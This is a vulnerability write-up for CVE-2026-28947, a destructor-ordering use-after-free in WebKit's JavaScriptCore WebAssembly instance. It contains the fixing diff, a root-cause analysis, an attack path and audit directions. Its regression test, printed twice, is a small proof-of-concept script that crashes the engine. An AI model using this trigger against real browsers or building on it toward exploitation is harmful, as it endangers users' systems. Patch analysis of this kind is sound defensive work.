CVE-2026-28947
Overview
Impact:
Description: Processing maliciously crafted web content may lead to an unexpected Safari crash
Researchers: dr3dd
Key insight. The anchor must be released before the structures that depend on it; tearing it down last left it usable after related state began being freed.
Patch Details
diff --git a/JSTests/wasm/stress/instance-anchor.js b/JSTests/wasm/stress/instance-anchor.js
new file mode 100644
index 000000000000..b2b59cb78edd
--- /dev/null
+++ b/JSTests/wasm/stress/instance-anchor.js
@@ -0,0 +1,42 @@
+//@ runDefault("--jitPolicyScale=0.1")
+/*
+(module
+ (func (export "foo") (result i32)
+ i32.const 42
+ )
+)
+*/
+
+const WASM_CODE = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x07, 0x01, 0x03, 0x66, 0x6f, 0x6f, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a, 0x0b]);
+
+function bury(f, n) {
+ if (n === 0) {
+ return f();
+ }
+
+ return bury(f, n - 1);
+}
+
+function main() {
+ const mod = new WebAssembly.Module(WASM_CODE);
+
+ function warmUpInstanceB() {
+ const instanceB = new WebAssembly.Instance(mod);
+
+ instanceB.exports.foo();
+ }
+
+ bury(warmUpInstanceB, 500);
+
+ const instanceA = new WebAssembly.Instance(mod);
+
+ for (let i = 0; i < 500; i++)
+ instanceA.exports.foo();
+
+ gc();
+
+ print("done (should have crashed above)");
+
+}
+
+main();
diff --git a/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp b/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp
index 230024a44607..88208bd7b14a 100644
--- a/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp
+++ b/Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp
@@ -163,6 +163,11 @@ void JSWebAssemblyInstance::finishCreation(VM& vm)
JSWebAssemblyInstance::~JSWebAssemblyInstance()
{
+ if (m_anchor) {
+ m_anchor->tearDown();
+ m_anchor = nullptr;
+ }
+
m_vm->traps().unregisterMirror(m_stackMirror);
clearJSCallICs(*m_vm);
@@ -174,11 +179,6 @@ JSWebAssemblyInstance::~JSWebAssemblyInstance()
for (auto& slot : baselineDatas())
std::destroy_at(&slot);
-
- if (m_anchor) {
- m_anchor->tearDown();
- m_anchor = nullptr;
- }
}
void JSWebAssemblyInstance::destroy(JSCell* cell)
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2026-28947 |
| Bugzilla | 310234 |
| Component | JSC |
| Bug Class | UAF |
| Severity | medium |
| Commit | 76b34686210f4f67… |
| Advisory | Apple Advisory |
Terminology
- JSWebAssemblyInstance anchor — m_anchor pins the instance for JIT/stack-scanning machinery.
- Destructor ordering — The order in which an object releases its members; dependent members must be torn down in a safe order.
- stopThePeriphery — Stops JS compiler threads but not wasm ones, so anchor-related state can still be touched during teardown.
Root Cause Analysis
This fixes a destruction-ordering use-after-free in JSWebAssemblyInstance’s destructor. The instance owns an m_anchor object; before the fix, ~JSWebAssemblyInstance() tore the anchor down LAST, after unregistering the stack mirror (m_vm->traps().unregisterMirror), clearing JS call inline caches (clearJSCallICs), and destroying the baseline data slots. The patch moves m_anchor->tearDown(); m_anchor = nullptr; to the very start of the destructor. The invariant is that the anchor, which keeps the instance reachable/pinned for JIT and stack-scanning machinery, must be released before the structures that depend on it are torn down; tearing it down last meant earlier teardown steps (or concurrent GC/stack scanning during destruction) could still observe or act through the anchor after related state had begun being dismantled, yielding a use-after-free and the observed crash. Running the anchor teardown first re-establishes the correct order. The regression test warms up an instance to force JIT tiers (bury(…,500), jitPolicyScale), creates and exercises another instance, then calls gc() to drive destruction where the ordering bug manifested. INFERENCE: the exact field dereferenced after free is in the anchor/JIT teardown code not shown here; the commit establishes the ordering change.
Attack Path
1. Instantiate and JIT-warm a WebAssembly instance
JS builds a module and repeatedly calls an exported function so tiering/JIT and the instance anchor are set up.
2. Drop references to the instance
The instance goes out of scope so it becomes eligible for collection.
3. Force garbage collection
gc() runs ~JSWebAssemblyInstance while JIT/stack-scanning state still references the anchor.
4. Use-after-free during teardown
With the anchor torn down last, teardown/GC dereferences anchor-related state after it has begun being freed, crashing the process.
Impact Assessment
A teardown-order use-after-free surfacing as a crash during GC/destruction; medium. A UAF but driven by destruction timing rather than a directly attacker-shaped heap.
Audit Directions
Destructor member-release order
Audit ~JSWebAssemblyInstance and peers where an object pinning others is released after them.
Wasm-thread lifetimes during GC
Look for callees/anchors released under stopThePeriphery that wasm threads can still access.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
JSWebAssemblyInstance::~JSWebAssemblyInstance |
Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp |
modified | Moves m_anchor->tearDown()/m_anchor=nullptr to the beginning of the destructor so the anchor is released before unregisterMirror/clearJSCallICs/baseline-data destruction, fixing the teardown-order use-after-free. |
Files Changed
Source Files
Source/JavaScriptCore/wasm/js/JSWebAssemblyInstance.cpp
Test Files
JSTests/wasm/stress/instance-anchor.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/wasm/stress/instance-anchor.js b/JSTests/wasm/stress/instance-anchor.js
new file mode 100644
index 000000000000..b2b59cb78edd
--- /dev/null
+++ b/JSTests/wasm/stress/instance-anchor.js
@@ -0,0 +1,42 @@
+//@ runDefault("--jitPolicyScale=0.1")
+/*
+(module
+ (func (export "foo") (result i32)
+ i32.const 42
+ )
+)
+*/
+
+const WASM_CODE = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x07, 0x01, 0x03, 0x66, 0x6f, 0x6f, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a, 0x0b]);
+
+function bury(f, n) {
+ if (n === 0) {
+ return f();
+ }
+
+ return bury(f, n - 1);
+}
+
+function main() {
+ const mod = new WebAssembly.Module(WASM_CODE);
+
+ function warmUpInstanceB() {
+ const instanceB = new WebAssembly.Instance(mod);
+
+ instanceB.exports.foo();
+ }
+
+ bury(warmUpInstanceB, 500);
+
+ const instanceA = new WebAssembly.Instance(mod);
+
+ for (let i = 0; i < 500; i++)
+ instanceA.exports.foo();
+
+ gc();
+
+ print("done (should have crashed above)");
+
+}
+
+main();